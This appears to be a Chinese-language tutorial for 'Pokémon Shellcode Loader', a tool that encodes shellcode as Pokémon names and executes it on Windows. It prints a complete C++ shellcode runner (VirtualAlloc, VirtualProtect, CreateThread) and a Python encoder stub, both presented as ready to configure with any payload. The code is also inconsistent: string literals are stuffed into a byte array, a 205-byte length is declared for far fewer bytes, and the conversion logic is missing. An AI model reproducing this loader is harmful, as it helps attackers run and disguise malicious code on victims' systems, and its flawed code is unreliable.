Pokémon Shellcode Loader 使用教程
1. 项目的目录结构及介绍
Pokémon Shellcode Loader 项目的目录结构如下:
Pokemon-Shellcode-Loader/
├── LICENSE
├── Poke-Shellcode-Converter.py
├── Pokemon-Loader.cpp
├── README.md
目录结构介绍
- LICENSE: 项目的许可证文件,采用 GPL-3.0 许可证。
- Poke-Shellcode-Converter.py: Python 脚本,用于将 Shellcode 转换为 Pokémon 名称表示的 Shellcode。
- Pokemon-Loader.cpp: C++ 源代码文件,用于加载转换后的 Pokémon Shellcode。
- README.md: 项目的说明文档,包含项目的基本介绍和使用方法。
2. 项目的启动文件介绍
项目的启动文件是 Pokemon-Loader.cpp
,这是一个 C++ 源代码文件,负责加载和执行转换后的 Pokémon Shellcode。以下是该文件的基本结构和功能介绍:
#include <windows.h>
void main() {
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Shellcode
unsigned char payload[] = {
"\x6f\x68\x43\x3a\x5c\x57\x89\xe6",
"\x6a\x0a\x56\xff\xd0\x83\xc4\x46",
"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3"
};
unsigned int payload_len = 205;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}
启动文件功能介绍
- VirtualAlloc: 分配内存空间。
- RtlMoveMemory: 将 Shellcode 复制到分配的内存空间。
- VirtualProtect: 修改内存保护属性,使其可执行。
- CreateThread: 创建线程执行 Shellcode。
- WaitForSingleObject: 等待线程执行完毕。
3. 项目的配置文件介绍
项目中没有明确的配置文件,但可以通过修改 Poke-Shellcode-Converter.py
和 Pokemon-Loader.cpp
文件中的内容来进行配置。
Poke-Shellcode-Converter.py 配置
import json
shellcode = (b"\x41\x42\x20\x43") # 需要转换的 Shellcode
PokemonList = ["Missingno", "Bulbasaur", "Ivysaur", "Venusaur", "Charmander", "Charmeleon", "Charizard", "Squirtle", "Wartortle", "Blastoise", "Caterpie", "Metapod"]
# 转换逻辑
Pokemon-Loader.cpp 配置
unsigned char payload[] = {
"\x6f\x68\x43\x3a\x5c\x57\x89\xe6",
"\x6a\x0a\x56\xff\xd0\x83\xc4\x46",
"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3"
};
unsigned int payload_len = 205;
通过修改 shellcode
和 payload
变量中的内容,可以配置不同的 Shellcode 和 Pokémon 名称。
以上是 Pokémon Shellcode Loader 项目的使用教程,涵盖了项目的目录结构、启动文件和配置文件的介绍。希望对您有所帮助!